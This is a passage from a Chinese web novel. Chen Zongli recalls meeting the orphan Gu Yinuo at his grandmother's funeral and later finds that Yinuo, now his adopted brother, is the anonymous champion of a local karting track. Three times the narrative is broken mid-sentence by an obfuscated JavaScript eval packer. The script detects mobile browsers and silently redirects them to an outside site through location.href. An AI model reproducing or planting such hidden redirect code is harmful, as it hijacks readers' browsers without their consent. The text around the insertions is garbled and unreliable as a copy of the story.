他那会儿还没完全发育,一米六的个子,瘦瘦小小,身上的孝服过于宽大,用白布条扎在腰间两圈勒紧才不松垮。小孩脸色比空中的雪还惨白。一副黑框眼镜,占据了脸的三分二,遮住眼睛,也兜住了眼泪,像一个丢了魂的小可怜。 一段不算长的路,等他们走到灵堂时,古一诺的孝服上已经落了一层雪。 往后的梦里,陈宗礼偶尔会梦见这个场景:漫天飞雪中站着一个“雪人”,戴着眼镜,红着鼻子,看着自己,像有千言万语,却始终没说出一个字。 …… 来吊唁前,陈老太在飞机上,把古家的来龙去脉告知了陈宗礼。 古家家族在上城发迹,主要经营赌场生意。 最风光的时候,古家的风月□□集团,是华国□□行业龙头。为上城提供的税收占据6成。 古一诺是风月□□老董事长的嫡孙。原本投了个好胎,谁知开场即巅峰。幼年父母早逝,只有奶奶白凤娇愿意养他在身边。 后来,又遭逢“富不过三代”的诅咒,因为赌场嫌疑洗/钱,被相关部门查封。没有赌场便没有了收入,古家几房人闹着分家,整个古家分崩离析。 分家后,古一诺和奶奶同住。经历古家的大起大落,白凤娇心力交瘁,最终抑郁成疾。 老太太知道自己大限将到,担心古一诺的未来,于是秘密约见好友陈老太冷翠英,把古一诺托付给她。 …… 站在陈宗礼的立场,他私心地认为,陈老太不应该受人情绑架。这个姓古的小子,多的是亲戚可以收养,就算没有,十几岁的人,去读几年寄宿学校,也能混成人,哪里轮得着远在港城的陈家收养? 他自诩见过不少豪门闹剧,可在白凤娇灵堂里,还是开了眼界。 那天,来灵堂吊唁的人不算多,但好戏连台,比狗血电视剧还要抓马。 有走温情路线的姑姑们,从灵堂外开始嚎啕大哭,趴在棺材旁几乎晕过去的。哭够了,便虚弱地走到古一诺面前,把人搂在怀里,边哭他命苦,边说你放心,有什么事尽管来找姑姑。 古一诺的脑袋被她抱得窒息,闷声问了一句:“姑姑,我去你家住行么?” 那位哭得稀里哗啦的女士,立刻收了哭声,装模作样地说:“当然没问题,但你也知道,姑父家欠了不少钱。现在我娘家无人,你姑父一家更要看不起我。要是再多一个人,恐怕要离婚。” “要不这样,奶奶生前那么疼你,肯定给你留钱吧?你先借给姑姑周转,那姑姑带你回家,不就顺理成章了。” 陈宗礼坐在不远处,竖起耳朵等着听古一诺的回答。 古一诺眼神清澈看着对方,说道:“姑姑,其实离婚更好,那样姑父的欠债跟你就没有关系了,你还能分走姑父一半财产,那房子也有了,到时候带谁回家住都没问题。” 嗯……陈宗礼忍不住笑了声,被陈老太狠捏了一下大腿,他才努力收敛笑容。 哭花妆的女人,不可思议地看着侄子,半天吐出一句:“你说什么?!” 女人变脸比翻书还快,她指着古一诺的鼻子,大骂他是魔鬼,是没良心的白眼狼,自己克死父母,克死奶奶,还敢咒她离婚……适才温温柔柔的姑姑,此刻仿佛被泼妇夺了舍。 古一诺却像早有预料,表情没有波澜,安安静静呆跪着挨骂。 姑姑哭一场骂一场累了,刚下场,又来一波叔伯上场接力。 都说养儿防老,这些“儿子”在白凤娇长卧病榻时,只是逢年过节来探望一下。到人死了,发现自己居然分不到任何遗产,才开始关心起细枝末节来。 甚至有人吊唁拉着律师一起来,三鞠躬鞠了一个半,就按耐不住心急,走到古一诺面前问个清楚。 “一诺,你奶奶死之前,就你在身边,她什么话都没说?” 古一诺低声道:“她没说,你们不信,她说了,你们也不信,你问我有意义吗?” 叔伯们着急了:“嗨,你这个小孩,如果她说了,你得告诉我们呀……遗嘱上说,奶奶就剩一些现金和首饰,怎么可能呢?你奶奶可是大户人家的千金啊。” “别说土地、商铺,至少房子、收藏得留一点吧?” 古一诺木纳地“哦”了声,他慢条斯理地扶了扶自己的厚瓶底眼镜。 “你3年前欠了外债,奶奶变卖了多少资产给你填坑,姑姑要结婚,奶奶也送了商铺的。家里那么多人,早散干净了,遗嘱里有多少就是多少。” 旁边的人忽地觉得自己理亏,还是厚着脸皮问:“有没有可能,她提前处理,没告诉你?” 古一诺喃喃:“说了你们又不信,不信你们又还继续问,别问了行吗?” 所有人:“……” 其中一个暴躁的中年男人,看他软的不吃,直接来硬的。他一手拍掉古一诺头上的孝帽,骂道:“长辈让你回答,你小子油嘴滑舌,肯定瞒着我们呢!律师我一定要追查到底,我要告你侵占遗产!!” 古一诺淡淡看着对方,露出一抹不屑的微笑:“叔,遗嘱上有我继承的部分吗?如果没有,我侵占什么了?” “你!”眼看中年男人的巴掌就要刮到他脸上,顿时,灵堂内一片混乱。 陈老太安插到会场的保镖,立刻冲上前,护住古一诺,拉开愤怒的亲戚们。 陈老太叹气:“都说儿孙满堂是福气,我看算了吧,辛苦养大,全成了豺狼虎豹。还好凤娇有远见,早就把留给一诺的东西弄到白家信托基金里。让他们查不到……” 闹腾的灵堂内,各有各的不堪,被打落孝帽的古一诺跪坐在原地,露出一头黑色卷毛,毛茸茸的。 他虽然低着头,陈宗礼却捕捉到他嘴角上扬。 啊,这小孩,扮猪吃老虎啊。 …… 葬礼结束后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850437|175834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白凤娇入土为安。陈老太冷翠英信守承诺,把古一诺秘密接回港城陈家。 到家那天,小卷毛除了披在身上的史努比毯子,没有任何行李。 陈老太介绍他俩认识时,对方不咸不淡地喊他一声:“哥。” 说话时,陈宗礼对上了厚瓶底眼镜后面那双湿漉漉的眼睛,让陈宗礼第一次尝到了心软的滋味。 从此,世界上少了古一诺,他的心里多了陈一诺。 …… 陈一诺到陈家后,被安排到港城最闻名的贵族学校:圣保罗中学。 陈一诺念高一,陈宗礼念高三。 他们上下课的时间不同,只有在家里吃饭的时候,有一两句交集。在学校里,陈一诺就是一个相貌平平,某暴发户的儿子。在贵族学校的鄙视链里,“有钱+平庸”属于最最最最低端的存在。 没有人,会把他跟金字塔顶端的陈宗礼联想到一起。 圣保罗中学大考成绩,都会在公布栏上公示。在讲财力、人脉、权势的贵族学校里,这是唯一靠自己凭实力争取的地方。 而陈宗礼不但是家世背景强,还有常年稳居第一的实力,属于让人绝望的“六边形战士”。 往日,他无需去看公布栏。就有人跑过来跟他说:“恭喜啊,又是第一。” 前不久,期中考成绩公布,他破天荒地闲逛到公布栏——那是陈一诺入学后的第一次成绩公示。 结果,他在年级50这个中不溜秋的位置,看见了他的名字。 “50名,嘿,比我当年还差。” 庄嘉轩不知道什么时候凑了过来。他是全校除了当事人外,唯一知道陈一诺是陈宗礼弟弟的人。 “听说,你弟上体育课,打篮球还能投进自家篮筐的,什么方向感啊?” “哎,你是各方面都优秀得挑不出毛病,他是各方面都平凡得挑不出优点。老太太到底看上他什么,把人从上城山长水远带回来。” 陈宗礼太打眼,在公布栏站了一会儿,就有好几个学妹在偷拍。 他拉着庄嘉轩往外走,低声道:“白奶奶是老太太的闺蜜。老太太怀我二叔的时候,白奶奶过来探望她。” “那时候,港城不太平,她们去拜佛时,遇到蹲守在寺庙外的□□。当时,白奶奶为了保护我奶奶,还受伤了。” 陈老太冷翠英是港城有名的“侠女”,知恩图报是刻在DNA里的。就算只是闺蜜情谊也会帮,何况对方是救了她家两条人命。 庄嘉轩了然:“难怪了……可是,他们家几房人,一个能照顾他的亲戚都没有了?” 陈宗礼上斜眼挑了挑,喃喃道:“没了,一家子全是鬼。” 庄嘉轩手指挠挠眉毛,豪门的古灵精怪他见多了,一下子明白了陈宗礼的意思。 “他低调点也挺好。陈家多了个二少爷的事,早晚被媒体爆出来。看他傻傻的没心眼,至少不会给你添麻烦。” 没心眼吗? 陈宗礼想起在灵堂里,陈一诺面对一群妖魔鬼怪的从容,以及混乱中那抹低头的讥笑。 这个四眼小卷毛,真如眼看着那么普通么?抑或又是陈一诺的扮猪吃老虎? “嘿!”庄嘉轩冲他打了几下响指,一手箍着陈宗礼的肩膀,“今晚去岚枫山?考完试去放纵一下?” “听周老板说,最近来了个车神……” 陈宗礼不屑地挑眉:“车神?” 庄嘉轩“昂”一声:“走吧,去看看,到底谁胆子那么大,敢抢你的车神宝座!” 14. 第十四章 “唰!” 岚枫山赛道上,一辆贴着“08号”的卡丁车,做了一个漂亮弯道漂移。轮胎外侧刚好擦过一滩积水,溅起一道扇形的水花。 陈宗礼眼疾手快,闪进柱子后面。他身后的庄嘉轩就没那么幸运,慢了半拍,雨水混着泥点,在他的花衬衫上泼了一幅“中国山水画”。 “卧槽!”乱糟糟的庄嘉轩,指着那辆消失无影的“08号”大骂:“会不会开车啊!!” 他扬了扬沾满泥点的衣服,哭丧着脸:“我姐给我买的新衣服!” 陈宗礼忍着笑,目光从“08号”收回,从赛车场的便利店买了一条毛巾,盖在庄嘉轩的寸头上:“自己擦擦!” 庄嘉轩愤怒地把脑袋上的毛巾扯下,狠狠摩擦自己的花衬衫,越擦越绝望。 只能大声抱怨:“周老板,那个08号到底是谁呀,那么拽……” 戴着棒球帽的周老板走到他们身边,手里掏出一盒烟,指了指赛车场上方的LED大屏。 “我们的新……新车神,车技贼牛……牛逼!” “切,比我牛??”庄嘉轩非常不服气。 周老板笑笑:“对……对,比你牛!” 庄嘉轩难以置信地看向陈宗礼,却发现陈宗礼目光一直在LED屏幕上。 岚枫山赛车场给每位玩家提供专属排名。以卡丁车为例,户外赛道一圈900米,LED会按完成时间快慢列出前十。 此时,屏幕上显示排名第一位:C,总时长5分23秒 第二位:输给你爸不丢人,总时长5分25秒。 第三位:岚枫山陈浩南,总时长5分28秒。 庄嘉轩不服地发出今天第二个“卧槽!” 排名第一的“C”是陈宗礼,这个记录一直没人能破。 但庄嘉轩的“岚枫山陈浩南”明明排在第二,如今却被“输给你爸不丢人”压到第三,那个小崽子还敢在他名字里占便宜!简直是赤裸裸的挑衅! 新仇旧恨的不能忍! 中学时期的庄嘉轩,虽然没当成真的古/惑仔,但刻在骨子里的古/惑DNA无法抹去,脾气上来了,就忍不住要冲上去一决高下。 他大掌一抓寸头,看着“08号”咬牙切齿:“待会儿就反超你,让你看看到底谁是爸爸!” 说话间,08号“呜——”地在他面前冲线!头上的LED屏幕闪了闪。 成绩刷新,第一名:输给你爸不丢人,总时长5分22秒 庄嘉轩:“卧槽……” 陈宗礼第一次看见自己被压到第二名,上斜眼禁不住挑了挑:哈,有意思。 …… 为了鼓励大家破纪录,周老板花了大价钱做效果!每当有人破纪录,整块LED屏幕上会出现黑底红色“新纪录”三个大字。 怕不够显眼,周老板还用古早的PPT动态做特效,把文字坐成立体,并且放大缩小放大缩小,循环往复……不止如此,为了增加喜庆的氛围,屏幕上还会洒下整支玫瑰,宛如一个丰盛的老年人表情包。 同时,会场喇叭会播放假装高兴的AI机械音:输给你爸不丢人!5分22秒!破纪录!恭喜!破纪录!恭喜! 仔细听,跟餐厅门口叫号的机械音如出一辙。 此时,庄嘉轩和陈宗礼看向“08号”的方位,他从车里下来,没第一时间摘头盔,穿着一件白衬衫和浅绿色短裤,不高但很瘦,从背影判断,估计年龄不大。 他跟旁边几个吹哨的观众挨个击掌。跟在他身后第二名冲刺的男人,骂骂咧咧走到他面前,掏出手机,扫他的二维码,一看就是转账。 陈宗礼皱起眉:“他们还在玩/钱?” 庄嘉轩眯着眼认人:“转钱那个是大飞吧,他是附近混的大佬。脾气可不好,这08号挺狂啊,他的钱也敢赢。” 周老板吐出一口烟,缓慢道:“小……小孩赚点零……零花钱。” 赛车作为竞技类项目,比赛非常多。为了给赛车场增加客流,周老板会组织各种各样的比赛。职业的、非职业的比赛都有。赢了,赞助商提供奖金;如果赛车手之间打赌,输赢金额也可以自己定。 一直有非职业选手要挑战陈宗礼,陈宗礼看对方跑一圈,觉得人家技术不行,就直接拒绝,懒得比。还有赞助商想高价邀请陈宗礼参赛,但太子爷看不上这点钱,也不爱抛头露面,最后都一一婉拒了。 今天陈宗礼却来了兴致,问道:“跟他比一场,多少钱?” 周老板挑眉:“三……三千到五……五千吧,你……你感兴趣?” 陈宗礼朝赛车场的方向看去,08号走到洗手池旁把头盔放一边,从他的角度,看见08号的后背。 只见,08号双手掬起一捧水,本以为他要洗脸,结果他忽地蹲下,把水捧到腿边两只小狗面前。两只小狗把头埋到他手心里畅饮,不用看正面都知道,08号此刻应该是微笑的表情,跟赛场上凶狠的08号反差挺大。 陈宗礼扬起嘴角,说道:“好,就五千,我跟他来一场。” 庄嘉轩愣了,他还以为陈宗礼不会参加。如果要把场子拿回来,他得孤军奋斗呢! 听见他要加入,那种古惑仔集结,义薄云天的兴奋劲来了,喊道:“对!我也加注五千,额外加一个赌注,输了的喊赢的爸爸!” 周老板最爱看热闹,拍手道:“行……行吧,我去跟他说……说说……” 十几分钟后,周老板沉着脸走来,摆摆手:“臭……臭小子跑啦!说不……不能回家太……太晚。” 庄嘉轩扫兴地看看时间:“才十……十点。”他看向陈宗礼,“怎么跟你一样啊,有门禁。” 陈宗礼有些失望,但表情淡淡的:“今天约不成,下次吧。周老板,他通常什么时候来?” 周老板皱眉:“没有固定时间,但周五周六比较多。” 这人是学生吗?陈宗礼想着08号的身影,暗自猜测着。 那天,跟08号没比成,一腔热血只能放凉。庄嘉轩压在心里那口气,却一直下不去。 拉着陈宗礼去了两三趟赛车场,却总是没见着人。庄嘉轩跑去问周老板要08号的联系方式,周老板却说没有。 “这……这小孩,谨……谨慎着呢,没他……他的联系方式。” …… 终于,在期末考后,08号再次出现在赛车场,陈宗礼和庄嘉轩果断发起挑战。 这回,总算答应了。 富家公子不爱租公用的装备,他们把私家装备寄存在周老板这里,还有定期保养服务。 陈宗礼从赛车头盔、手套到卡丁车鞋ALL Black,看着就不好惹。庄嘉轩则相反,花哨得很,光是戴上荧光黄头盔就是赛道上最亮的星。 他们跟着工作人员去选车,陈宗礼按旧习惯选了“01号”,庄嘉轩选了“12号”。 虽然傍晚下过雨,赛道上的沥青路面依然发着烫,空气中隐约弥漫着轮胎与地面摩擦的焦糊味。 这场临时发起的比赛,总共八辆车参赛。起点处,陈宗礼的“01号”在第一排,跟他并排的刚好是“08号”。 上车后,陈宗礼漫不经心地打量对手,这人只从车场租了个头盔,黑色头盔上贴了四个恶俗的天线宝宝。此外,就没有别的装备了。 对方双手悠闲地搭在方向盘上,小腿肌肉线条流畅,看起来非常放松。 陈宗礼还是头一回遇到这样的对手。 “喂!08号!” 身后传来一声不算友善的吼叫,隔着头盔,音量依然很足。 前排陈宗礼和“08号”同时转头回看,顶着一颗荧光黄脑袋的庄嘉轩,对着“08号”比了个手枪的动作。 叫嚣道:“等着叫爸爸!” “08号”爽朗地喊回去:“谁是谁爸爸还不一定呢!!” 虽然隔着头盔,但听得出声音清亮,有庄嘉轩的那份江湖气。 被挑衅的庄嘉轩立刻:“嘿!”了声,对小孩的大言不惭表示不满。 信号灯由红转绿,比赛开始! 陈宗礼和“08号”几乎同时起步,轮胎与地面摩擦发出尖锐的嘶鸣。 陈宗礼起步稍快,起跑后迅速抢占内线,在第一段直路就确立了优势。“08号”却并不慌张,一直紧跟其后等待机会。 站在观众席上的周老板慢慢抽着烟,老板娘从他身后绕前,看场上赛车飞驰,观众台几乎坐满。 疑惑道:“今晚什么情况,观众比车手还多。” 周老板“嘿”地笑了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850438|175834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一手搭在老板娘肩上:“今晚,车……车神争霸。” 老板娘认得“01号”,看他一路领先,说道:“太子爷来了啊?他这第一没悬念啊。” 周老板夹着烟摇了摇,因为结巴,他习惯用精简的字表达意思:“8……8号来了,悬……悬着呢。” 一如周老板所说,08号确实增加了场上悬念。 第一个弯道,“01号”的陈宗礼,在弯道边缘划出一道优美的弧线,轮胎几乎贴着路肩飞驰而过。 “08号”跟在他后面漂移入弯。后面的庄嘉轩“12号”提前刹车,企图切入内线,想在出弯时抢占先机。 这时,庄嘉轩的“12号”和“08号”两辆车几乎并排驶过弯道,引擎的轰鸣声、轮胎与路肩的摩擦声,此起彼伏。 老板娘认得那颗荧光黄脑袋:“那不是姓庄那个小子么?他跟太子爷一伙的吧。” 周老板点头:“对……对,1v2。” 话音刚落,“08号”和庄嘉轩的“12号”车,同时出弯,庄嘉轩凭借出弯时的微弱优势,跟“08号”拉开距离,顺利跻身第二位。 庄嘉轩爱得瑟,超越“08号”那一刻仿佛已经赢了,忍不住朝对方比了个挑衅的中指。 挑衅完还不够,喊了句:“爸爸先走啦!!” 接下来的直道上,庄嘉轩几乎全力压制着“08号”。 “08号”往左,他的车屁股就往左顶,“08号”往右,他的车屁股就往右顶。宛如一堵厚实的墙,他赢不赢不重要,让“08号”输掉比赛,喊他爸爸才最重要。 不远处的老板娘看“08号”一直被“12号”的庄嘉轩牵制,有些焦急:“组团压着“08号”打啊。” 不止老板娘,场外的粉丝也急得跳脚,嘘声阵阵,都是冲着庄嘉轩来的。 周老板倒是淡定:“放……放心吧,1v…v5,“08号”都不……不怕。” 在庄嘉轩的阻拦下,08号跟第一名的差距越拉越大,老板娘严重怀疑周老板的判断,心想:真能赢? 直路进入尾端,比赛进入中段,随着弯道越来越多,排在2、3名的两辆车较量愈发激烈。“08号”鬼魅一般紧贴着庄嘉轩。 庄嘉轩意识到,这小子在用“尾流效应”。类似马拉松中的“跟跑”策略。尾流效应,能通过紧贴领先者后面跑,减少风阻,节省体力,待对手体力不支时突然加速超越对手。 庄嘉轩察觉对方的意图,但这个疯子把尾流效应,用成了“吻流效应”。他俩前后贴得非常紧。从远处目测,“08号”车已经“吻”上他的车尾。 这样近的距离,对领先车手非常不利,毕竟——“08号”如果操作不慎,就有翻车危险。 “12号”车上的庄嘉轩被“08号”逼得后背湿透。他玩卡丁车好几年,跟陈宗礼配合无间。他这招阻挡玩得炉火纯青。但还是第一次遇到像“08号”这种直接往上怼的疯子。 赛车场上讯息万变,庄嘉轩分心的片刻,忘了直道已经到了末端,眼前突然出现一个急弯,他来不及打方向盘,眼看着就要撞上栏杆。 庄嘉轩心道:不好! 他慌乱地踩刹车,抓紧方向盘朝左打满,留出了较大的内弯道。 一直“吻”着他的“08号”,此时赶紧捡漏,毫不减速切入内弯,像一道闪电划过弯道,庄嘉轩急切地想堵住对方,紧急加大油门,结果“08号”已经丝滑超车,而他油门过大,导致整辆车失控。 “砰——”一声响。 庄嘉轩的整辆车撞到赛道旁的岛台,眼睁睁看“08号”扬长而去,他停在原地,愤懑地锤着方向盘发泄。 “哇!08号牛逼!!!” “车神超得漂亮!!” 在“08号”超车的同时,观众席爆发出一阵惊人的欢呼。 老板娘也忍不住鼓掌:“啧,08号真敢啊。刚刚要是反应慢一点,出弯的时候,肯定跟12号撞在一起。” 甩掉庄嘉轩后,“08号”又连续过了几个弯。他的弯道技术像经过精密计算,漂移时轮胎划过的轨迹精准至极,出弯时车身几乎没有多余的晃动。 周老板叼着烟看向赛道前方:“接……接下来,才是新……新旧车神争霸赛~” 15. 第十五章 庄嘉轩的“12号”车忽然失控,引起连锁反应,彻底打乱了后排节奏。 随着“12号”的出局,“08号”却异军突起。 在被庄嘉轩耽误大半赛程后,他也完全没有泄气,铆足劲朝“01号”开。有种不到最后一刻绝不放弃的狠劲。 前方一直领先的陈宗礼,似乎也察觉到后来者的威胁,但情绪和车技都没被影响。他把油门踩尽,过弯时完全没刹车,漂移动作冷静、标准,宛如一道闪电。 陈宗礼的人生中遇到的对手很多,有的实力过于悬殊,压根不够格担起“对手”;有的勉强能一战,也被庄嘉轩这类朋友拦在身后;就算越过了这些朋友的拦截,最终也逃不过被陈宗礼打败的结局。 总之,能被陈宗礼称为真正“对手”的人凤毛麟角。 因此,当“08号”大距离落后,却过五关斩六将,一步一步走到他跟前,气势汹汹的要一较高低,成功激起陈宗礼的胜负欲。 心道:总算来了。 这时,比赛进入白热化阶段,观众席上的粉丝激动得全体起立,赛车场内的尖叫声此起彼伏。 连老板娘也许久没看过如此紧张的比赛,她紧攥着双手,目光落在你追我赶的“01号”和“08号”上。 “还有不到200米了吧?08号还有机会么?” 周老板意味深长地看着前方,他咂摸着嘴:“不……不好说。” 有人想看王者击退对手,继续称霸,也有人想看高高在上的王,被逆袭的小子扯下宝座。 无论是哪个结果,赛车场的热度都能持续一段时间。周老板的如意算盘打得啪啪响。 最后200米,陈宗礼和“08号”的速度已经接近极限,眼看陈宗礼胜利在望。 但“08号”似乎还没放弃,抓紧每一分每一秒,死咬着不放。 他不要命地踩油门,不要命地用技巧碰撞陈宗礼的车,不要命地盯紧每个过弯时的操作漏洞,时刻准备超他。 陈宗礼却稳如泰山,对他不要命的行径见招拆招,始终压制着“08号”。 老板娘喃喃:“太子爷太老练了,一点空隙不留。08号很难赢啊……” “08号”刚刚就是切内环超的庄嘉轩,所以陈宗礼非常谨慎,完全不给他留一丝机会。 “其他人很……很难。”周老板捏了捏老婆的肩膀,指着“01号”入弯的位置,“8号未……未必。” 倒数第二个弯道,陈宗礼一如既往丝滑入弯,这次预留的空间更窄,几乎容不下一辆车。身后的“08号”却像疯了,孤注一掷把油门一踩到底,视死如归地想要强行切进去。 老板娘焦急:“他还打算切?万一失败,撞到路边,那可能会翻车吧?” “08号”的极限操作,再次激起观众席的沸腾,一时间,尖叫声、欢呼声此起彼伏。 陈宗礼似乎没料到“08号”为了赢能如此拼命,冒着翻车的危险也要硬切进来! 0.01秒的犹豫,被“08号”抓住了机会,哪怕超车的位置并不够,他也放手一搏冲进在内线。 “啊——!” 就在大家以为两车要相撞,“08号”一边轮胎直接铲上赛道旁的石级,轮胎跟石级发出刺耳的摩擦声。 “08号”成功突围,跟“01号”并驾齐驱,两辆车的轨迹,宛如一个同心圆里的两条圆滑曲线。 陈宗礼在外,“08号”在内。 陈宗礼没见过那么疯的对手,在对方抢到内线后,距离超越他只差最后一步。 然而两车贴得实在太近,安全起见,陈宗礼率先收油,并且方向盘往外躲了躲,但距离依然太近,“08号”在出弯道前微微撞击着“01号”的车身,陈宗礼的车身瞬间不稳。 “08号”抓紧这个稍纵即逝的空档,急踩油门加速出弯,并且与“01号”车拉开距离。 两辆车一决高下的电光火石间,两个车手快速对视,陈宗礼从“08号”头盔露出的那双眼睛里读到了“嚣张”二字。 最终,“08号”以微弱的优势冲过终点线,以5分20秒,再次刷新自己的纪录。 陈宗礼的“01号车”则开出5分21秒。 虽然,两人同时刷新个人最高纪录,但陈宗礼依然以1秒之差,屈居第二。 “08号”精彩的逆袭反杀,让现场观众一片沸腾,等他们冲线后,场馆内依然呼声、哨声不断。 …… “08号”冲线后,两手离开方向盘,定了定神,接着举起两条细胳膊欢呼庆贺。 明明还是小孩,却有新王登基的气势! 他一把摘掉头盔,晚风吹着湿漉漉的头发,细看才发现,发丝打着卷,没有厚瓶底眼镜的遮挡,陈宗礼第一次看清了“08号”的脸。 哈……陈宗礼忍不住叹出一口气。 才发现,“08号”有一双让人过目不忘的眼睛,灵动又狡黠。赢了比赛后,眼尾上扬,那满脸压制不住的得意,是他一直隐藏,旁人未曾目睹过的表情。 此时,银色的月光偏心地倾泻在白衣少年身上,给这个画面笼上一层薄薄的银纱。 忽然,从观众席冲出一黑一白两只狗,它们飞扑到少年脚边,前腿离地趴在少年的腿上。 少年弯腰抱起它们,两只毛茸茸的土狗,仿佛成了奖杯,在他臂弯里吐着舌头,露出得意微笑。 赛场上的LED大屏,忽然亮起,用浮夸的特效官宣新纪录:5分20秒! 那几个大字,晃得人睁不开眼。 刺耳的引擎声,喧闹的粉丝欢呼声,参杂着庄嘉轩喋喋不休的骂街声,此起彼伏。 但陈宗礼却觉得自己坠入真空,目光被白衣少年那张意气风发的脸吸引,挪不开半分。 那尽兴的笑容,像开启汽水后喷涌的气泡,元气的,鲜活的,满是恣意的少年气。 跟灵堂里、第一次到陈家、学校里,那个死气沉沉、低调到尘埃里的四眼小卷毛,完全是两个人。 他明亮、灿烂,如同岚枫山顶的那颗五角星,只此一颗,耀眼得让人难以忘怀。 那人抱着狗,耀武扬威地指着“01”车的方向,大喊道:“快叫爸爸,这个520送你了~!” 明明是挑衅,但陈宗礼只听到,岚枫山的“新车神”要送他一个名为“520”的礼物。 陈宗礼只觉得浑身血液都在沸腾,头盔里的耳膜传来震撼的跳动。后知后觉才发现,那是他从未有过的剧烈心跳。 他不经意地深深呼出一口气,像做一个重大决定。 下一秒,他干脆利落地摘下头盔,整理好短发,那双上斜眼淡淡对上那位挑衅他的少年。 四目相对时,白衣少年脸上的得意瞬间消失,取而代之的,是被抓包的错愕。身上的狗狗似乎感受到了陈宗礼的气场,挣扎着逃离了少年的怀抱。 陈宗礼闪过一瞬后悔,后悔自己不该那么快表露身份。 但没法回头,他抱着头盔大步流星地朝他走去,伴随他的靠近,能察觉少年身体慢慢变得僵直。 等他走到对方面前,少年眼里只剩下错愕和害怕,他怯生生地喊了一声:“哥……” 陈一诺到陈家的第一天开始,他就接受了喊他哥的事实,改口很快,竭尽全力地表演一个弟弟。而在学校则跟他划清界限,表演一个陌生人。 陈宗礼朝他点头,然后把自己的手机伸出来,笑着对他说:“愿赌服输,5000块,我扫你?” 没叫自己真名,眼神很坦荡,动作也自然。眼前的陈一诺不过是赢过他的“08号”车手。 少年呆站着,目光中满是疑惑,不知道该不该掏出手机。 “喂!你站住!!” 身后庄嘉轩突然冒出,他气势汹汹地冲到“08号”面前迫切地要找人算账。 他输了不高兴,陈宗礼输了他更不高兴。毕竟,庄嘉轩输习惯了,但陈宗礼从无败绩! 走近后,才发现陈宗礼和“08号”两人尴尬地呆站着,气氛似乎有些……微妙。 “你们俩站着干嘛呀?一动不动的……” 他站在两人中间,左看看陈宗礼,右看看“08号”,没看出问题,又眨了眨眼,目光再次移到“08号”脸上。 上下左右看了个遍。 哎奇怪,越看越有种似曾相识的感觉。 半晌,他突然惊呼大喊:“卧槽!!!陈一诺!” …… 赛车场更衣室外,庄嘉轩和周老板蹲在门外,角落里一黑一白两只小狗呆坐着,宛如两只石狮子。 周老板吐出一口烟,疑惑问:“他俩是亲……亲兄弟?” 庄嘉轩咬着吸管,把瓶底的饮料一吸到底:“是兄弟,但不是亲的。陈一诺……就是那个新车神,是领养的。” 周老板对陈家不了解,只是好奇:“不对啊,一个不……不差钱,一个赛车赚……赚钱。” 庄嘉轩打了个饱嗝,摇摇头:“不知道,那小子古怪着呢。” “他平时在学校,像个隐形人。成天戴着一副黑框眼镜,走路低着头。跟刚刚赢了比赛,那意气风发的样子,简直两幅面孔。” 他视线看向更衣室,一脸幸灾乐祸:“陈宗礼肯定把这小子骂死,活该~” 周老板“切”了声,跟他持反对意见:“我看未……未必。” …… 岚枫山的更衣室很宽敞,两排灰白色的储物柜,中间两条并排木椅。再往里走,是一格格带门帘的淋浴间。 平时热热闹闹的更衣室,如今安安静静的,只亮着一盏白织灯,有些压抑。 陈宗礼在储物柜旁换衣服,他拉开赛车服的拉链,利落地往后一脱,露出上半身。 虽然,他才18岁,已经练成非常标准的倒三角身材,宽肩窄腰,肩胛骨平整得像翻开的书本,脊柱从脖颈一路往下延伸,最终没入裤沿。 陈一诺被这副身材激出了一丝自卑,他低下头,禁止自己沉沦在没法控制的发育问题上。提醒自己的脑子赶快运转,看如何面对接下来的事。 在圣保罗念书的时间里,他总能听到很多关于陈宗礼的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陈宗礼整理好衣服,转过身低头看他。 黑色卷毛被白炽灯照得泛冷,“厚瓶底”又挡住了眼睛,像是一个刀鞘收住了眼睛的锋芒。不过,好歹近视是真的,他亲眼看对方摘掉了隐形眼镜。 虽然,喊他一声“哥”,道歉也格外主动诚恳。陈宗礼却看出他的敷衍。 他比未完全发育的陈一诺高了快两个头,他朝前半步,身体挡住了半边白炽灯,仿佛成了一道把人卷入阴影中的龙卷风。 他严肃道:“跟我道歉的,是赛场上的陈一诺,还是学校里的陈一诺,抑或……是灵堂那个古一诺?” 陈一诺太能藏了,跟他好好沟通,首先要把他的伪装撕破,把丑话放在前面。 他的意图被陈一诺百分百接收到。陈一诺也很识趣,嘴角扬了一下,刚刚那个低头认错的小孩便瞬间消失,仿佛从没出现过。 “反正都是我。想怎么罚,直接说吧。检讨?禁止赛车?干脆禁足?” 透过厚瓶底,他双眼灵动地眨着,“或者我们再比一场,我输掉把第一还给你?” “不过,破纪录得靠你自己了。” 如果听到这话的是庄嘉轩,现在肯定血压飙升,死活把人拖到赛车场再比一场。 但陈宗礼情绪很稳定,眉头都没皱一下,平淡地睨着他的头发,看似毛茸茸的卷毛,倔强起来能成锋利的刺,当你放下戒备想摸一摸,它便扎你一手。 他微曲膝盖,弯腰低头降到跟陈一诺视线同一水平。 “我不在意自己的输赢。” 